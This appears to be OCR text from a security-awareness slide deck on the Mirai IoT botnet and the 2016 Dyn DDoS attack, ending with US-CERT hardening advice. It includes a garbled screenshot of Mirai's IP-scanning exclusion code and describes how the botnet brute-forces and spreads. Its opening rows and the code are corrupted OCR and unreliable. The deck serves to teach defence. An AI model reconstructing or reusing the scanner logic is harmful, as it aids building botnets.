192 | Adddbbdd Addhdhdd AAAAAAGA AAAAAAAL AAAAAAAY AAAAAAAY AAAAAAAA AdAdAAAS | | TN NI T TH TH TH TH T T T MWW T TH TH
274 | AddAbddd AdAAAAAA AAAAGALA AAMAAAAL AAMAAAAA AAAAAAAA AAAAAAAA AAAAALAS | | TN T TH TH TH T T T T MWW T T TH
P56 | AdhAdddd AdAAAALA AAAAAAGA AALAAAAL AABAAAAL AAAAAAAY AAAAAAS AdAAALAS | | TN T T TH THTH T T T MWW T TH TH
255 | AdhAAAAA AMAAAALA AAMAAALA AAMAAAAL AAGAAAAL AAAAAAAL AAAAAAAA AAAAALAS | | THTTHIH I T THTHTHTHTH T T MWW T T TH
S26 | Adkddddd AdAAAAGA AALARALL AALAAAAL AAGAAAAL AAAAAAAL AAAAAAAA AAAAALAA | | TN T T THTHTH T T TR TH M T T TH
FE7 | Adddbbdd AdAAAAGA AAAAAAAA AAAAAAAL AAAAAAAA ASAAAAAY AAAAAASA AdAAAAAL | | T T T T T T T T T T T T T
G54 | Adddbddd AdAAAAAA AAAAAAGA AAAAAAAA AAAAAAAL ASAAAAAL AAAAAAS AdAAAAAS | | T T T TH TH T T T T T T T T T TH
416 | Adddbbdd AdAAAAAA AAAAGALA AALASAAA AAMAAAAA AAAAAAAY AAAAAAAA AdAAAAAS | | T T T TH TH T T T T T T T T T T
445 | Adddbbddd AdAAAAAA AAAAGALA AALASAAL AAAAAAAY AAAAAAAY AAAAAAAA AdAdAdAl | | TN T T TH THTH T T T MWW T T TH
450 | AdAAdAd AdAAAAAA AAAAAALA AAMAAAAL AAMAAAAA AAAAAAAA AAAAAAAA AAAAAAAS | | TN T TH THTH TH T T T MWW T T TH
17 | Adddbdbdd AddAAAhA AAAAAAGA AAGAAAAL AAGAAAAL AAAAAAAY AAAAAAS AAAAALAS | | TN NI TN T T TH THTH T T T MWW T TH TH
B4 | AddAbdddd AdAAAAGA AAAARAGA AALAAAAL AAGAAAAS AAAAAAAS AAAAAAS AbAAALAS | | TSN T TH TH TH TH T T T MWW T T TH
76 | Adkdbdddd AdAAAALA AALARALA AALAAAAL AAGAAAAL AAAAAAAL AAAAAAAA AAAAALAS | | THTTHIH NI TM M T T THTHTHTH T T MW M T T TH
GO5 | Adddbddd AdAAGAAA AAAARAAA AAAAAAAL AAAAAAAL ASAAAAAY AAAAAAGA AdAAAAAL | | T T T T T T T T T T T T T T
G461 | Adddbbddd AdAAAAAA AAAAAAGA AAAAAAAA AAAAAAAL ASAAAAAY AAAAAAS AAAAAAAS | | T T T TH TH T T T T T T T T T TH
B72 | Adddbbdd AdAAbhdd AAAAGAAA AALASAAA AAGASAAA AAAAAAAY AAAAAAAA AdAAAAAS | | T T T THTH T T T T T T T T T T
T4 | Adddbbdd AdAAbhdd AAAAAALA AAAASAAL AAAAAAAY AAAAAAAY AAAAAAAA AdAdAAAL | | TN NI T T TH THTH T T T MWW T T TH
T36 | AddAAAAA AAAAAAAA AAAAAAGA AAMASAAL AAAAAAAA AAAAAAAA AAAAAAAA AAAAALAS | | TN NI T TH THTH TH T T T MWW T T TH
TG | Adddbddd AdAAAAhA AAAAAAGA AAMAAAAL AAMAAAAL AAAAAAAL AAAAAAAA AAAAAAAA | | TN M M TH TH TH T T T T MWW T T TH
00 | AddAdddd AdAAAAGA AAAARAGA AAGAAAAL AABAAAAS AAAAAAAS AAAAAAGS AbAAALAS | | TN T TH THTH TH T T T MWW T T TH
537 | AdhAbdddd AdAAAALA AALAAALA AALAAALL AAGAAAAL AAAAAAAL AAAAAAAA AAAAALAA | | THTTHIH I TM TN T T THTHTHTH T T MWW T T TH

Signed Int big (select some data)

0 out of 4096 bytes




WHAT PICTURE IS IT, GRANDM A 21?2




GRANDMA AND GRANDP A&




WORDS OF ADVICE...

* Don’t just click on anything and open any attachments from suspicious
sources...

* If it’s too good to be true, chances are it’s not...

e Backup regularly (offline or use secure online storage)...



SAM WENT HOME HAPPY AND WANTED
TO RELAX AND CHILL THAT FRIDAY
MORNING BUT THEN...




NOTHING IS WORKING...




SERVICES ARE UNREACHABLE

y“ y
P




&S THE DAY UNFOLDS, S&M FOUND QUT
THE CAUSE OF THE OUTAGE...

eral botnet a DDoS nlghtmafe

-

turning Internet of Things
into Botnet of things

b/

& -

Images from Hackread- https://www.hackread.com/mirai-botnet-linked-to-dyn-dns-ddos-attacks/



WHAT IS MIRAI?

* Mirai is a malware that infects loT devices for the purpose of using
them for DDoS attacks.

* Mirai spreads by scanning IP addresses to find vulnerable IoT devices.

* When it comes to scanning IP addresses, Mirai excludes the IP ranges
that belongs to:

* General Electric

* Hewlett-Packard

* US Postal Service

* Department of Defense

* Internet Assigned Numbers Authority

* Mirai uses a remote C&C to determine its DDoS target.



IP ADDRESS E

l
{

U

4

EPTION LIST

Open =« [ = G . Save =
2, x .- AL LU ST TR TR o SISt amies T e [F UL A2 ) A
static ipv4_t get_random_ip{void)
{
uinti2 t tmp;
uintd t ol, 02, 03, o4;
do
{
tmp = rend_next();
ol = tmp & 1,
02 = (tmp >> H) & Buff)
03 = (tnp >> 16) & Gxff;
o4 = (tmp >> 24) & O 3
}
while (ol 27 1| Loopback
(ol 8) || Invalid address space
(ol ) | General Electric Company
(ol |l 01 == ) || / Hewlett -Packard Company
(ol == 58) || / - US Postal Service
(ol | / Intermal network
(ol 6§ 02 = ) | // Inteamal network
(o]l == 2 68 02 >= &6 02 < | /] - Intemal natwork
(ol == 168 &§ 02 >= &6 02 < ) || IANA NAT reserved
[0 w= 6§ 02 > 284) || g TANA NAT reserved
(ol == B& 02 >= 15 && 02 < 26) || 8 IANA Special use
(ol »= 224) || i Multicast
(ol == || ol =7 || ol == |l ol ==21 || ol =22 || 0l ==26 || ol = 28 || ol = 2§ || ol =
ol == || 01 = 55 || ol = 4 1] ol = 215) // Department of Daefense
y:
return INET_ADDR{o0l,02,03,04);
}
static int consume_iacs(struct scannar_connaction *conn)
Int consumed = 0
uint@ t *ptr = conn->robuf;
while (consumed < conn->rdbuf pos)
Cw TabWicth 8 « in136.Call

e 0

INS




HOW DOES THE ATTACK WORK?

* Once it finds vulnerable 10T devices, it brute forces its way into
accessing it via a list of common used passwords.

* Once it infects an loT device, it makes sure that nobody can
communicate with it by closing SSH, Telnet and HTTP ports.

* It also looks for and removes another loT malware by the name of
Anime.



COMMON PASSWORDS LIST




MIRAI SOURCE CODE IS PUBLIC

[FREE] World's Largest Net:Miral Botnet, Client, Echo Loader, CNC source code release

™ (This post was st modified: Yesterday 04:29 PM by Ansa-senpeal.)

Anna-senpai &
L33t Mamber

Preface

Greetz avarybody,

When 1 first go In DDOS Industry, 1 wasa'tl pianning on staying in it long. I made my money, there's lots of woking at 10T now, so |
Howeaver, | know every skid and their mama, it's their wet dream to have something besides qbot

S0 today, | have an amazing release for you, With Miral, | usually pull max 380k bots from telnet alone. However, after the Kreb DDOS,

shutting down and cdeaning up their act, Today, max pull is about 300k bots, and dropping,

So, 1 am your senpai, and 1 will treat you real nice, my hf-chan

Source: https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/



SOMEBODY TOOK THAT CODE AND
ATTACKED DYN

* Dyn is an internet infrastructure
company headquartered in New
Hampshire

e First wave started at 7am ET
e Second wave started around noon
* Third wave started about 4pm ET

* Traffic to Dyn’s Internet directory
servers was flooded by requests
from millions of IP addresses




MIR 4] TIMELINE

* Sep 20, 2016 — Krebs website DDoS’ed

 Oct 1, 2016 — Mirai source code leaked

* Oct 21, 2016— Dyn was DDoS’ed

* Nov 21, 2016 — Oracle bought Dyn

e Jan 17, 2017 — Krebs identified alleged Mirai author



SECURING YOUR IOT DEVICES

* Change default username and password
* Disable unnecessary remote access to the loT device
» US-CERT Advisory - https://www.us-cert.gov/ncas/alerts/TA16-288A



US-CERT PREVENTIVE STEPS

* Ensure all default passwords are changed to strong passwords. Default usernames and passwords for most
devices can easily be found on the Internet, making devices with default passwords extremely vulnerable.

* Update loT devices with security patches as soon as patches become available.
* Disable Universal Plug and Play (UPnP) on routers unless absolutely necessary.[12 (link is external)]

* Purchase loT devices from companies with a reputation for providing secure devices.

* Consumers should be aware of the capabilities of the devices and appliances installed in their homes and
businesses. If a device comes with a default password or an open Wi-Fi connection, consumers should change
the password and only allow it to operate on a home network with a secured Wi-Fi router.

* Understand the capabilities of any medical devices intended for at-home use. If the device transmits data or
can be operated remotely, it has the potential to be infected.

* Monitor Internet Protocol (IP) port 2323/TCP and port 23/TCP for attempts to gain unauthorized control over
loT devices using the network terminal (Telnet) protocol.[13 (link is external) (link is external)]

* Look for suspicious traffic on port 48101. Infected devices often attempt to spread malware by using port
48101 to send results to the threat actor.


https://www.ic3.gov/media/2015/150910.aspx
https://isc.sans.edu/forums/diary/What+is+happening+on+2323TCP/21563/

DOING THIS...




WE NEED TO CHANGE OUR DEVICE’S
PASSWORDS BEFORE IT’S TOO LATE!1t

The .’OY of Tech by Nitrozac & Snaggy
The Internet of ransomware things... 30 BUCKS IN
6 BITCOIN, OR NEXT
TIME I SMELL

ON STRIKE

HUNGRYZ UNTIL YOu
PAY UP AND SEND MONEY
IiL UNLOCK TO MY

JUST LET YOU
SLEEP.

20 BUCKS

THE NEXT TIME

MY DOOR/ YOU LEAVE, IT7LL QWQALARME P
OR ILL ONLY BURNING THE BC&EK'SYS?S 1(.?;301- SOING TO GO
BREW TOAST IF YOU BACK INTO THE OFF RANDOMLY

HOUSE, UNLESS

OU GIVE ME
¥ 0756N0w1 UNLESS YOU

*DONATE“.

EXCUSE US
WHILE WE
PARTICIPATE
IN A DDOS
ATTACK.

I“M TURNING
OFF THE
HEAT UNTIL

HACKER 3100
OR I‘LL REVERSE
MY MOTOR AND
BLOW DIRT ALL

OVER THIS
PLACE/

ONLY TO TAKE
YOU TO YOUR
BANK TO MAKE
A TRANSFER.

IF YOU DON‘T
SEND US CASH,
YOUR REPUTATION
WILL BE IN THE
TRASH.

NETWORK THAT YOU
WERE STUPID ENOUGH
TO BUY AN INTERNET-
CONNECTED BROOMS




THIS IS GONNA BE & LONG DAY...







THANK YOU11t

> @TOPHS

(©)

(©)

o

BIT.LY/ELISANBOOKS
FACEBOOK.COM/CCELISAN

LINKEDIN.COM/IN/ELISAN



